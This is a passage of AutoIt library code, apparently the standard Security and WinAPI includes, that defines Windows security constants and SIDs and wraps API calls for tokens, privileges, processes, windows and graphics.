Const $standard_rights_read = $read_control Global Const $standard_rights_write = $read_control Global Const $standard_rights_execute = $read_control Global Const $standard_rights_all = 2031616 Global Const $specific_rights_all = 65535 Global Enum $not_used_access = 0, $grant_access, $set_access, $deny_access, $revoke_access, $set_audit_success, $set_audit_failure Global Enum $trustee_is_unknown = 0, $trustee_is_user, $trustee_is_group, $trustee_is_domain, $trustee_is_alias, $trustee_is_well_known_group, $trustee_is_deleted, $trustee_is_invalid, $trustee_is_computer Global Const $logon_with_profile = 1 Global Const $logon_netcredentials_only = 2 Global Enum $sidtypeuser = 1, $sidtypegroup, $sidtypedomain, $sidtypealias, $sidtypewellknowngroup, $sidtypedeletedaccount, $sidtypeinvalid, $sidtypeunknown, $sidtypecomputer, $sidtypelabel Global Const $sid_administrators = "S-1-5-32-544" Global Const $sid_users = "S-1-5-32-545" Global Const $sid_guests = "S-1-5-32-546" Global Const $sid_account_operators = "S-1-5-32-548" Global Const $sid_server_operators = "S-1-5-32-549" Global Const $sid_print_operators = "S-1-5-32-550" Global Const $sid_backup_operators = "S-1-5-32-551" Global Const $sid_replicator = "S-1-5-32-552" Global Const $sid_owner = "S-1-3-0" Global Const $sid_everyone = "S-1-1-0" Global Const $sid_network = "S-1-5-2" Global Const $sid_interactive = "S-1-5-4" Global Const $sid_system = "S-1-5-18" Global Const $sid_authenticated_users = "S-1-5-11" Global Const $sid_schannel_authentication = "S-1-5-64-14" Global Const $sid_digest_authentication = "S-1-5-64-21" Global Const $sid_nt_service = "S-1-5-80" Global Const $sid_untrusted_mandatory_level = "S-1-16-0" Global Const $sid_low_mandatory_level = "S-1-16-4096" Global Const $sid_medium_mandatory_level = "S-1-16-8192" Global Const $sid_medium_plus_mandatory_level = "S-1-16-8448" Global Const $sid_high_mandatory_level = "S-1-16-12288" Global Const $sid_system_mandatory_level = "S-1-16-16384" Global Const $sid_protected_process_mandatory_level = "S-1-16-20480" Global Const $sid_secure_process_mandatory_level = "S-1-16-28672" Global Const $sid_all_services = "S-1-5-80-0" Func _winapi_getlasterror($curerr = @error, $curext = @extended) Local $aresult = DllCall("kernel32.dll", "dword", "GetLastError") Return SetError($curerr, $curext, $aresult[0]) EndFunc Func _winapi_setlasterror($ierrcode, $curerr = @error, $curext = @extended) DllCall("kernel32.dll", "none", "SetLastError", "dword", $ierrcode) Return SetError($curerr, $curext) EndFunc Func _security__adjusttokenprivileges($htoken, $fdisableall, $pnewstate, $ibufferlen, $pprevstate = 0, $prequired = 0) Local $acall = DllCall("advapi32.dll", "bool", "AdjustTokenPrivileges", "handle", $htoken, "bool", $fdisableall, "struct*", $pnewstate, "dword", $ibufferlen, "struct*", $pprevstate, "struct*", $prequired) If @error Then Return SetError(1, @extended, False) Return NOT ($acall[0] = 0) EndFunc Func _security__createprocesswithtoken($htoken, $ilogonflags, $scommandline, $icreationflags, $scurdir, $tstartupinfo, $tprocess_information) Local $acall = DllCall("advapi32.dll", "bool", "CreateProcessWithTokenW", "handle", $htoken, "dword", $ilogonflags, "ptr", 0, "wstr", $scommandline, "dword", $icreationflags, "struct*", 0, "wstr", $scurdir, "struct*", $tstartupinfo, "struct*", $tprocess_information) If @error OR NOT $acall[0] Then Return SetError(1, @extended, False) Return True EndFunc Func _security__duplicatetokenex($hexistingtoken, $idesiredaccess, $iimpersonationlevel, $itokentype) Local $acall = DllCall("advapi32.dll", "bool", "DuplicateTokenEx", "handle", $hexistingtoken, "dword", $idesiredaccess, "struct*", 0, "int", $iimpersonationlevel, "int", $itokentype, "handle*", 0) If @error OR NOT $acall[0] Then Return SetError(1, @extended, 0) Return $acall[6] EndFunc Func _security__getaccountsid($saccount, $ssystem = "") Local $aacct = _security__lookupaccountname($saccount, $ssystem) If @error Then Return SetError(@error, @extended, 0) If IsArray($aacct) Then Return _security__stringsidtosid($aacct[0]) Return "" EndFunc Func _security__getlengthsid($psid) If NOT _security__isvalidsid($psid) Then Return SetError(1, @extended, 0) Local $acall = DllCall("advapi32.dll", "dword", "GetLengthSid", "struct*", $psid) If @error Then Return SetError(2, @extended, 0) Return $acall[0] EndFunc Func _security__gettokeninformation($htoken, $iclass) Local $acall = DllCall("advapi32.dll", "bool", "GetTokenInformation", "handle", $htoken, "int", $iclass, "struct*", 0, "dword", 0, "dword*", 0) If @error OR NOT $acall[5] Then Return SetError(1, @extended, 0) Local $ilen = $acall[5] Local $tbuffer = DllStructCreate("byte[" & $ilen & "]") $acall = DllCall("advapi32.dll", "bool", "GetTokenInformation", "handle", $htoken, "int", $iclass, "struct*", $tbuffer, "dword", DllStructGetSize($tbuffer), "dword*", 0) If @error OR NOT $acall[0] Then Return SetError(2, @extended, 0) Return $tbuffer EndFunc Func _security__impersonateself($ilevel = $securityimpersonation) Local $acall = DllCall("advapi32.dll", "bool", "ImpersonateSelf", "int", $ilevel) If @error Then Return SetError(1, @extended, False) Return NOT ($acall[0] = 0) EndFunc Func _security__isvalidsid($psid) Local $acall = DllCall("advapi32.dll", "bool", "IsValidSid", "struct*", $psid) If @error Then Return SetError(1, @extended, False) Return NOT ($acall[0] = 0) EndFunc Func _security__lookupaccountname($saccount, $ssystem = "") Local $tdata = DllStructCreate("byte SID[256]") Local $acall = DllCall("advapi32.dll", "bool", "LookupAccountNameW", "wstr", $ssystem, "wstr", $saccount, "struct*", $tdata, "dword*", DllStructGetSize($tdata), "wstr", "", "dword*", DllStructGetSize($tdata), "int*", 0) If @error OR NOT $acall[0] Then Return SetError(1, @extended, 0) Local $aacct[3] $aacct[0] = _security__sidtostringsid(DllStructGetPtr($tdata, "SID")) $aacct[1] = $acall[5] $aacct[2] = $acall[7] Return $aacct EndFunc Func _security__lookupaccountsid($vsid, $ssystem = "") Local $psid, $aacct[3] If IsString($vsid) Then $psid = _security__stringsidtosid($vsid) Else $psid = $vsid EndIf If NOT _security__isvalidsid($psid) Then Return SetError(1, @extended, 0) Local $typesystem = "ptr" If $ssystem Then $typesystem = "wstr" Local $acall = DllCall("advapi32.dll", "bool", "LookupAccountSidW", $typesystem, $ssystem, "struct*", $psid, "wstr", "", "dword*", 65536, "wstr", "", "dword*", 65536, "int*", 0) If @error OR NOT $acall[0] Then Return SetError(2, @extended, 0) Local $aacct[3] $aacct[0] = $acall[3] $aacct[1] = $acall[5] $aacct[2] = $acall[7] Return $aacct EndFunc Func _security__lookupprivilegevalue($ssystem, $sname) Local $acall = DllCall("advapi32.dll", "bool", "LookupPrivilegeValueW", "wstr", $ssystem, "wstr", $sname, "int64*", 0) If @error OR NOT $acall[0] Then Return SetError(1, @extended, 0) Return $acall[3] EndFunc Func _security__openprocesstoken($hprocess, $iaccess) Local $acall = DllCall("advapi32.dll", "bool", "OpenProcessToken", "handle", $hprocess, "dword", $iaccess, "handle*", 0) If @error OR NOT $acall[0] Then Return SetError(1, @extended, 0) Return $acall[3] EndFunc Func _security__openthreadtoken($iaccess, $hthread = 0, $fopenasself = False) If $hthread = 0 Then $hthread = _winapi_getcurrentthread() If @error Then Return SetError(1, @extended, 0) Local $acall = DllCall("advapi32.dll", "bool", "OpenThreadToken", "handle", $hthread, "dword", $iaccess, "bool", $fopenasself, "handle*", 0) If @error OR NOT $acall[0] Then Return SetError(2, @extended, 0) Return $acall[4] EndFunc Func _security__openthreadtokenex($iaccess, $hthread = 0, $fopenasself = False) Local $htoken = _security__openthreadtoken($iaccess, $hthread, $fopenasself) If $htoken = 0 Then If _winapi_getlasterror() <> $error_no_token Then Return SetError(3, _winapi_getlasterror(), 0) If NOT _security__impersonateself() Then Return SetError(1, _winapi_getlasterror(), 0) $htoken = _security__openthreadtoken($iaccess, $hthread, $fopenasself) If $htoken = 0 Then Return SetError(2, _winapi_getlasterror(), 0) EndIf Return $htoken EndFunc Func _security__setprivilege($htoken, $sprivilege, $fenable) Local $iluid = _security__lookupprivilegevalue("", $sprivilege) If $iluid = 0 Then Return SetError(1, @extended, False) Local $tcurrstate = DllStructCreate($tagtoken_privileges) Local $icurrstate = DllStructGetSize($tcurrstate) Local $tprevstate = DllStructCreate($tagtoken_privileges) Local $iprevstate = DllStructGetSize($tprevstate) Local $trequired = DllStructCreate("int Data") DllStructSetData($tcurrstate, "Count", 1) DllStructSetData($tcurrstate, "LUID", $iluid) If NOT _security__adjusttokenprivileges($htoken, False, $tcurrstate, $icurrstate, $tprevstate, $trequired) Then Return SetError(2, @error, False) DllStructSetData($tprevstate, "Count", 1) DllStructSetData($tprevstate, "LUID", $iluid) Local $iattributes = DllStructGetData($tprevstate, "Attributes") If $fenable Then $iattributes = BitOR($iattributes, $se_privilege_enabled) Else $iattributes = BitAND($iattributes, BitNOT($se_privilege_enabled)) EndIf DllStructSetData($tprevstate, "Attributes", $iattributes) If NOT _security__adjusttokenprivileges($htoken, False, $tprevstate, $iprevstate, $tcurrstate, $trequired) Then Return SetError(3, @error, False) Return True EndFunc Func _security__settokeninformation($htoken, $itokeninformation, $vtokeninformation, $itokeninformationlength) Local $acall = DllCall("advapi32.dll", "bool", "SetTokenInformation", "handle", $htoken, "int", $itokeninformation, "struct*", $vtokeninformation, "dword", $itokeninformationlength) If @error OR NOT $acall[0] Then Return SetError(1, @extended, False) Return True EndFunc Func _security__sidtostringsid($psid) If NOT _security__isvalidsid($psid) Then Return SetError(1, 0, "") Local $acall = DllCall("advapi32.dll", "bool", "ConvertSidToStringSidW", "struct*", $psid, "ptr*", 0) If @error OR NOT $acall[0] Then Return SetError(2, @extended, "") Local $pstringsid = $acall[2] Local $ssid = DllStructGetData(DllStructCreate("wchar Text[" & _winapi_stringlenw($pstringsid) + 1 & "]", $pstringsid), "Text") _winapi_localfree($pstringsid) Return $ssid EndFunc Func _security__sidtypestr($itype) Switch $itype Case $sidtypeuser Return "User" Case $sidtypegroup Return "Group" Case $sidtypedomain Return "Domain" Case $sidtypealias Return "Alias" Case $sidtypewellknowngroup Return "Well Known Group" Case $sidtypedeletedaccount Return "Deleted Account" Case $sidtypeinvalid Return "Invalid" Case $sidtypeunknown Return "Unknown Type" Case $sidtypecomputer Return "Computer" Case $sidtypelabel Return "A mandatory integrity label SID" Case Else Return "Unknown SID Type" EndSwitch EndFunc Func _security__stringsidtosid($ssid) Local $acall = DllCall("advapi32.dll", "bool", "ConvertStringSidToSidW", "wstr", $ssid, "ptr*", 0) If @error OR NOT $acall[0] Then Return SetError(1, @extended, 0) Local $psid = $acall[2] Local $tbuffer = DllStructCreate("byte Data[" & _security__getlengthsid($psid) & "]", $psid) Local $tsid = DllStructCreate("byte Data[" & DllStructGetSize($tbuffer) & "]") DllStructSetData($tsid, "Data", DllStructGetData($tbuffer, "Data")) _winapi_localfree($psid) Return $tsid EndFunc Func _sendmessage($hwnd, $imsg, $wparam = 0, $lparam = 0, $ireturn = 0, $wparamtype = "wparam", $lparamtype = "lparam", $sreturntype = "lresult") Local $aresult = DllCall("user32.dll", $sreturntype, "SendMessageW", "hwnd", $hwnd, "uint", $imsg, $wparamtype, $wparam, $lparamtype, $lparam) If @error Then Return SetError(@error, @extended, "") If $ireturn >= 0 AND $ireturn <= 4 Then Return $aresult[$ireturn] Return $aresult EndFunc Func _sendmessagea($hwnd, $imsg, $wparam = 0, $lparam = 0, $ireturn = 0, $wparamtype = "wparam", $lparamtype = "lparam", $sreturntype = "lresult") Local $aresult = DllCall("user32.dll", $sreturntype, "SendMessageA", "hwnd", $hwnd, "uint", $imsg, $wparamtype, $wparam, $lparamtype, $lparam) If @error Then Return SetError(@error, @extended, "") If $ireturn >= 0 AND $ireturn <= 4 Then Return $aresult[$ireturn] Return $aresult EndFunc Global $__gainprocess_winapi[64][2] = [[0, 0]] Global $__gawinlist_winapi[64][2] = [[0, 0]] Global Const $__winapiconstant_wm_setfont = 48 Global Const $__winapiconstant_fw_normal = 400 Global Const $__winapiconstant_default_charset = 1 Global Const $__winapiconstant_out_default_precis = 0 Global Const $__winapiconstant_clip_default_precis = 0 Global Const $__winapiconstant_default_quality = 0 Global Const $__winapiconstant_format_message_allocate_buffer = 256 Global Const $__winapiconstant_format_message_from_system = 4096 Global Const $__winapiconstant_logpixelsx = 88 Global Const $__winapiconstant_logpixelsy = 90 Global Const $hgdi_error = Ptr(-1) Global Const $invalid_handle_value = Ptr(-1) Global Const $clr_invalid = -1 Global Const $__winapiconstant_flashw_caption = 1 Global Const $__winapiconstant_flashw_tray = 2 Global Const $__winapiconstant_flashw_timer = 4 Global Const $__winapiconstant_flashw_timernofg = 12 Global Const $__winapiconstant_gw_hwndnext = 2 Global Const $__winapiconstant_gw_child = 5 Global Const $__winapiconstant_di_mask = 1 Global Const $__winapiconstant_di_image = 2 Global Const $__winapiconstant_di_normal = 3 Global Const $__winapiconstant_di_compat = 4 Global Const $__winapiconstant_di_defaultsize = 8 Global Const $__winapiconstant_di_nomirror = 16 Global Const $__winapiconstant_display_device_attached_to_desktop = 1 Global Const $__winapiconstant_display_device_primary_device = 4 Global Const $__winapiconstant_display_device_mirroring_driver = 8 Global Const $__winapiconstant_display_device_vga_compatible = 16 Global Const $__winapiconstant_display_device_removable = 32 Global Const $__winapiconstant_display_device_modespruned = 134217728 Global Const $null_brush = 5 Global Const $null_pen = 8 Global Const $black_brush = 4 Global Const $dkgray_brush = 3 Global Const $dc_brush = 18 Global Const $gray_brush = 2 Global Const $hollow_brush = $null_brush Global Const $ltgray_brush = 1 Global Const $white_brush = 0 Global Const $black_pen = 7 Global Const $dc_pen = 19 Global Const $white_pen = 6 Global Const $ansi_fixed_font = 11 Global Const $ansi_var_font = 12 Global Const $device_default_font = 14 Global Const $default_gui_font = 17 Global Const $oem_fixed_font = 10 Global Const $system_font = 13 Global Const $system_fixed_font = 16 Global Const $default_palette = 15 Global Const $mb_precomposed = 1 Global Const $mb_composite = 2 Global Const $mb_useglyphchars = 4 Global Const $ulw_alpha = 2 Global Const $ulw_colorkey = 1 Global Const $ulw_opaque = 4 Global Const $wh_callwndproc = 4 Global Const $wh_callwndprocret = 12 Global Const $wh_cbt = 5 Global Const $wh_debug = 9 Global Const $wh_foregroundidle = 11 Global Const $wh_getmessage = 3 Global Const $wh_journalplayback = 1 Global Const $wh_journalrecord = 0 Global Const $wh_keyboard = 2 Global Const $wh_keyboard_ll = 13 Global Const $wh_mouse = 7 Global Const $wh_mouse_ll = 14 Global Const $wh_msgfilter = -1 Global Const $wh_shell = 10 Global Const $wh_sysmsgfilter = 6 Global Const $wpf_asyncwindowplacement = 4 Global Const $wpf_restoretomaximized = 2 Global Const $wpf_setminposition = 1 Global Const $kf_extended = 256 Global Const $kf_altdown = 8192 Global Const $kf_up = 32768 Global Const $llkhf_extended = BitShift($kf_extended, 8) Global Const $llkhf_injected = 16 Global Const $llkhf_altdown = BitShift($kf_altdown, 8) Global Const $llkhf_up = BitShift($kf_up, 8) Global Const $ofn_allowmultiselect = 512 Global Const $ofn_createprompt = 8192 Global Const $ofn_dontaddtorecent = 33554432 Global Const $ofn_enablehook = 32 Global Const $ofn_enableincludenotify = 4194304 Global Const $ofn_enablesizing = 8388608 Global Const $ofn_enabletemplate = 64 Global Const $ofn_enabletemplatehandle = 128 Global Const $ofn_explorer = 524288 Global Const $ofn_extensiondifferent = 1024 Global Const $ofn_filemustexist = 4096 Global Const $ofn_forceshowhidden = 268435456 Global Const $ofn_hidereadonly = 4 Global Const $ofn_longnames = 2097152 Global Const $ofn_nochangedir = 8 Global Const $ofn_nodereferencelinks = 1048576 Global Const $ofn_nolongnames = 262144 Global Const $ofn_nonetworkbutton = 131072 Global Const $ofn_noreadonlyreturn = 32768 Global Const $ofn_notestfilecreate = 65536 Global Const $ofn_novalidate = 256 Global Const $ofn_overwriteprompt = 2 Global Const $ofn_pathmustexist = 2048 Global Const $ofn_readonly = 1 Global Const $ofn_shareaware = 16384 Global Const $ofn_showhelp = 16 Global Const $ofn_ex_noplacesbar = 1 Global Const $tmpf_fixed_pitch = 1 Global Const $tmpf_vector = 2 Global Const $tmpf_truetype = 4 Global Const $tmpf_device = 8 Global Const $duplicate_close_source = 1 Global Const $duplicate_same_access = 2 Global Const $tagcursorinfo = "dword Size;dword Flags;handle hCursor;" & $tagpoint Global Const $tagdisplay_device = "dword Size;wchar Name[32];wchar String[128];dword Flags;wchar ID[128];wchar Key[128]" Global Const $tagflashwinfo = "uint Size;hwnd hWnd;dword Flags;uint Count;dword TimeOut" Global Const $tagiconinfo = "bool Icon;dword XHotSpot;dword YHotSpot;handle hMask;handle hColor" Global Const $tagmemorystatuS.E.X = "dword Length;dword MemoryLoad;" & "uint64 TotalPhys;uint64 AvailPhys;uint64 TotalPageFile;uint64 AvailPageFile;" & "uint64 TotalVirtual;uint64 AvailVirtual;uint64 AvailExtendedVirtual" Func _winapi_attachconsole($iprocessid = -1) Local $aresult = DllCall("kernel32.dll", "bool", "AttachConsole", "dword", $iprocessid) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_attachthreadinput($iattach, $iattachto, $fattach) Local $aresult = DllCall("user32.dll", "bool", "AttachThreadInput", "dword", $iattach, "dword", $iattachto, "bool", $fattach) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_beep($ifreq = 500, $iduration = 1000) Local $aresult = DllCall("kernel32.dll", "bool", "Beep", "dword", $ifreq, "dword", $iduration) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_bitblt($hdestdc, $ixdest, $iydest, $iwidth, $iheight, $hsrcdc, $ixsrc, $iysrc, $irop) Local $aresult = DllCall("gdi32.dll", "bool", "BitBlt", "handle", $hdestdc, "int", $ixdest, "int", $iydest, "int", $iwidth, "int", $iheight, "handle", $hsrcdc, "int", $ixsrc, "int", $iysrc, "dword", $irop) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_callnexthookex($hhk, $icode, $wparam, $lparam) Local $aresult = DllCall("user32.dll", "lresult", "CallNextHookEx", "handle", $hhk, "int", $icode, "wparam", $wparam, "lparam", $lparam) If @error Then Return SetError(@error, @extended, -1) Return $aresult[0] EndFunc Func _winapi_callwindowproc($lpprevwndfunc, $hwnd, $msg, $wparam, $lparam) Local $aresult = DllCall("user32.dll", "lresult", "CallWindowProc", "ptr", $lpprevwndfunc, "hwnd", $hwnd, "uint", $msg, "wparam", $wparam, "lparam", $lparam) If @error Then Return SetError(@error, @extended, -1) Return $aresult[0] EndFunc Func _winapi_clienttoscreen($hwnd, ByRef $tpoint) DllCall("user32.dll", "bool", "ClientToScreen", "hwnd", $hwnd, "struct*", $tpoint) Return SetError(@error, @extended, $tpoint) EndFunc Func _winapi_closehandle($hobject) Local $aresult = DllCall("kernel32.dll", "bool", "CloseHandle", "handle", $hobject) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_combinergn($hrgndest, $hrgnsrc1, $hrgnsrc2, $icombinemode) Local $aresult = DllCall("gdi32.dll", "int", "CombineRgn", "handle", $hrgndest, "handle", $hrgnsrc1, "handle", $hrgnsrc2, "int", $icombinemode) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_commdlgextendederror() Local Const $cderr_dialogfailure = 65535 Local Const $cderr_findresfailure = 6 Local Const $cderr_initialization = 2 Local Const $cderr_loadresfailure = 7 Local Const $cderr_loadstrfailure = 5 Local Const $cderr_lockresfailure = 8 Local Const $cderr_memallocfailure = 9 Local Const $cderr_memlockfailure = 10 Local Const $cderr_nohinstance = 4 Local Const $cderr_nohook = 11 Local Const $cderr_notemplate = 3 Local Const $cderr_registermsgfail = 12 Local Const $cderr_structsize = 1 Local Const $fnerr_buffertoosmall = 12291 Local Const $fnerr_invalidfilename = 12290 Local Const $fnerr_subclassfailure = 12289 Local $aresult = DllCall("comdlg32.dll", "dword", "CommDlgExtendedError") If @error Then Return SetError(@error, @extended, 0) Switch $aresult[0] Case $cderr_dialogfailure Return SetError($aresult[0], 0, "The dialog box could not be created." & @LF & "The common dialog box function's call to the DialogBox function failed." & @LF & "For example, this error occurs if the common dialog box call specifies an invalid window handle.") Case $cderr_findresfailure Return SetError($aresult[0], 0, "The common dialog box function failed to find a specified resource.") Case $cderr_initialization Return SetError($aresult[0], 0, "The common dialog box function failed during initialization." & @LF & "This error often occurs when sufficient memory is not available.") Case $cderr_loadresfailure Return SetError($aresult[0], 0, "The common dialog box function failed to load a specified resource.") Case $cderr_loadstrfailure Return SetError($aresult[0], 0, "The common dialog box function failed to load a specified string.") Case $cderr_lockresfailure Return SetError($aresult[0], 0, "The common dialog box function failed to lock a specified resource.") Case $cderr_memallocfailure Return SetError($aresult[0], 0, "The common dialog box function was unable to allocate memory for internal structures.") Case $cderr_memlockfailure Return SetError($aresult[0], 0, "The common dialog box function was unable to lock the memory associated with a handle.") Case $cderr_nohinstance Return SetError($aresult[0], 0, "The ENABLETEMPLATE flag was set in the Flags member of the initialization structure for the corresponding common dialog box," & @LF & "but you failed to provide a corresponding instance handle.") Case $cderr_nohook Return SetError($aresult[0], 0, "The ENABLEHOOK flag was set in the Flags member of the initialization structure for the corresponding common dialog box," & @LF & "but you failed to provide a pointer to a corresponding hook procedure.") Case $cderr_notemplate Return SetError($aresult[0], 0, "The ENABLETEMPLATE flag was set in the Flags member of the initialization structure for the corresponding common dialog box," & @LF & "but you failed to provide a corresponding template.") Case $cderr_registermsgfail Return SetError($aresult[0], 0, "The RegisterWindowMessage function returned an error code when it was called by the common dialog box function.") Case $cderr_structsize Return SetError($aresult[0], 0, "The lStructSize member of the initialization structure for the corresponding common dialog box is invalid") Case $fnerr_buffertoosmall Return SetError($aresult[0], 0, "The buffer pointed to by the lpstrFile member of the OPENFILENAME structure is too small for the file name specified by the user." & @LF & "The first two bytes of the lpstrFile buffer contain an integer value specifying the size, in TCHARs, required to receive the full name.") Case $fnerr_invalidfilename Return SetError($aresult[0], 0, "A file name is invalid.") Case $fnerr_subclassfailure Return SetError($aresult[0], 0, "An attempt to subclass a list box failed because sufficient memory was not available.") EndSwitch Return Hex($aresult[0]) EndFunc Func _winapi_copyicon($hicon) Local $aresult = DllCall("user32.dll", "handle", "CopyIcon", "handle", $hicon) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_createbitmap($iwidth, $iheight, $iplanes = 1, $ibitsperpel = 1, $pbits = 0) Local $aresult = DllCall("gdi32.dll", "handle", "CreateBitmap", "int", $iwidth, "int", $iheight, "uint", $iplanes, "uint", $ibitsperpel, "ptr", $pbits) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_createcompatiblebitmap($hdc, $iwidth, $iheight) Local $aresult = DllCall("gdi32.dll", "handle", "CreateCompatibleBitmap", "handle", $hdc, "int", $iwidth, "int", $iheight) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_createcompatibledc($hdc) Local $aresult = DllCall("gdi32.dll", "handle", "CreateCompatibleDC", "handle", $hdc) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_createevent($pattributes = 0, $fmanualreset = True, $finitialstate = True, $sname = "") Local $snametype = "wstr" If $sname = "" Then $sname = 0 $snametype = "ptr" EndIf Local $aresult = DllCall("kernel32.dll", "handle", "CreateEventW", "ptr", $pattributes, "bool", $fmanualreset, "bool", $finitialstate, $snametype, $sname) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_createfile($sfilename, $icreation, $iaccess = 4, $ishare = 0, $iattributes = 0, $psecurity = 0) Local $ida = 0, $ism = 0, $icd = 0, $ifa = 0 If BitAND($iaccess, 1) <> 0 Then $ida = BitOR($ida, $generic_execute) If BitAND($iaccess, 2) <> 0 Then $ida = BitOR($ida, $generic_read) If BitAND($iaccess, 4) <> 0 Then $ida = BitOR($ida, $generic_write) If BitAND($ishare, 1) <> 0 Then $ism = BitOR($ism, $file_share_delete) If BitAND($ishare, 2) <> 0 Then $ism = BitOR($ism, $file_share_read) If BitAND($ishare, 4) <> 0 Then $ism = BitOR($ism, $file_share_write) Switch $icreation Case 0 $icd = $create_new Case 1 $icd = $create_always Case 2 $icd = $open_existing Case 3 $icd = $open_always Case 4 $icd = $truncate_existing EndSwitch If BitAND($iattributes, 1) <> 0 Then $ifa = BitOR($ifa, $file_attribute_archive) If BitAND($iattributes, 2) <> 0 Then $ifa = BitOR($ifa, $file_attribute_hidden) If BitAND($iattributes, 4) <> 0 Then $ifa = BitOR($ifa, $file_attribute_readonly) If BitAND($iattributes, 8) <> 0 Then $ifa = BitOR($ifa, $file_attribute_system) Local $aresult = DllCall("kernel32.dll", "handle", "CreateFileW", "wstr", $sfilename, "dword", $ida, "dword", $ism, "ptr", $psecurity, "dword", $icd, "dword", $ifa, "ptr", 0) If @error OR $aresult[0] = Ptr(-1) Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_createfont($nheight, $nwidth, $nescape = 0, $norientn = 0, $fnweight = $__winapiconstant_fw_normal, $bitalic = False, $bunderline = False, $bstrikeout = False, $ncharset = $__winapiconstant_default_charset, $noutputprec = $__winapiconstant_out_default_precis, $nclipprec = $__winapiconstant_clip_default_precis, $nquality = $__winapiconstant_default_quality, $npitch = 0, $szface = "Arial") Local $aresult = DllCall("gdi32.dll", "handle", "CreateFontW", "int", $nheight, "int", $nwidth, "int", $nescape, "int", $norientn, "int", $fnweight, "dword", $bitalic, "dword", $bunderline, "dword", $bstrikeout, "dword", $ncharset, "dword", $noutputprec, "dword", $nclipprec, "dword", $nquality, "dword", $npitch, "wstr", $szface) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_createfontindirect($tlogfont) Local $aresult = DllCall("gdi32.dll", "handle", "CreateFontIndirectW", "struct*", $tlogfont) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_createpen($ipenstyle, $iwidth, $ncolor) Local $aresult = DllCall("gdi32.dll", "handle", "CreatePen", "int", $ipenstyle, "int", $iwidth, "dword", $ncolor) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_createprocess($sappname, $scommand, $psecurity, $pthread, $finherit, $iflags, $penviron, $sdir, $pstartupinfo, $pprocess) Local $tcommand = 0 Local $sappnametype = "wstr", $sdirtype = "wstr" If $sappname = "" Then $sappnametype = "ptr" $sappname = 0 EndIf If $scommand <> "" Then $tcommand = DllStructCreate("wchar Text[" & 260 + 1 & "]") DllStructSetData($tcommand, "Text", $scommand) EndIf If $sdir = "" Then $sdirtype = "ptr" $sdir = 0 EndIf Local $aresult = DllCall("kernel32.dll", "bool", "CreateProcessW", $sappnametype, $sappname, "struct*", $tcommand, "ptr", $psecurity, "ptr", $pthread, "bool", $finherit, "dword", $iflags, "ptr", $penviron, $sdirtype, $sdir, "ptr", $pstartupinfo, "ptr", $pprocess) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_createrectrgn($ileftrect, $itoprect, $irightrect, $ibottomrect) Local $aresult = DllCall("gdi32.dll", "handle", "CreateRectRgn", "int", $ileftrect, "int", $itoprect, "int", $irightrect, "int", $ibottomrect) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_createroundrectrgn($ileftrect, $itoprect, $irightrect, $ibottomrect, $iwidthellipse, $iheightellipse) Local $aresult = DllCall("gdi32.dll", "handle", "CreateRoundRectRgn", "int", $ileftrect, "int", $itoprect, "int", $irightrect, "int", $ibottomrect, "int", $iwidthellipse, "int", $iheightellipse) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_createsolidbitmap($hwnd, $icolor, $iwidth, $iheight, $brgb = 1) Local $hdc = _winapi_getdc($hwnd) Local $hdestdc = _winapi_createcompatibledc($hdc) Local $hbitmap = _winapi_createcompatiblebitmap($hdc, $iwidth, $iheight) Local $hold = _winapi_selectobject($hdestdc, $hbitmap) Local $trect = DllStructCreate($tagrect) DllStructSetData($trect, 1, 0) DllStructSetData($trect, 2, 0) DllStructSetData($trect, 3, $iwidth) DllStructSetData($trect, 4, $iheight) If $brgb Then $icolor = BitOR(BitAND($icolor, 65280), BitShift(BitAND($icolor, 255), -16), BitShift(BitAND($icolor, 16711680), 16)) EndIf Local $hbrush = _winapi_createsolidbrush($icolor) _winapi_fillrect($hdestdc, $trect, $hbrush) If @error Then _winapi_deleteobject($hbitmap) $hbitmap = 0 EndIf _winapi_deleteobject($hbrush) _winapi_releasedc($hwnd, $hdc) _winapi_selectobject($hdestdc, $hold) _winapi_deletedc($hdestdc) If NOT $hbitmap Then Return SetError(1, 0, 0) Return $hbitmap EndFunc Func _winapi_createsolidbrush($ncolor) Local $aresult = DllCall("gdi32.dll", "handle", "CreateSolidBrush", "dword", $ncolor) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_createwindowex($iexstyle, $sclass, $sname, $istyle, $ix, $iy, $iwidth, $iheight, $hparent, $hmenu = 0, $hinstance = 0, $pparam = 0) If $hinstance = 0 Then $hinstance = _winapi_getmodulehandle("") Local $aresult = DllCall("user32.dll", "hwnd", "CreateWindowExW", "dword", $iexstyle, "wstr", $sclass, "wstr", $sname, "dword", $istyle, "int", $ix, "int", $iy, "int", $iwidth, "int", $iheight, "hwnd", $hparent, "handle", $hmenu, "handle", $hinstance, "ptr", $pparam) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_defwindowproc($hwnd, $imsg, $iwparam, $ilparam) Local $aresult = DllCall("user32.dll", "lresult", "DefWindowProc", "hwnd", $hwnd, "uint", $imsg, "wparam", $iwparam, "lparam", $ilparam) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_deletedc($hdc) Local $aresult = DllCall("gdi32.dll", "bool", "DeleteDC", "handle", $hdc) If @error Then Return SetError(@error, 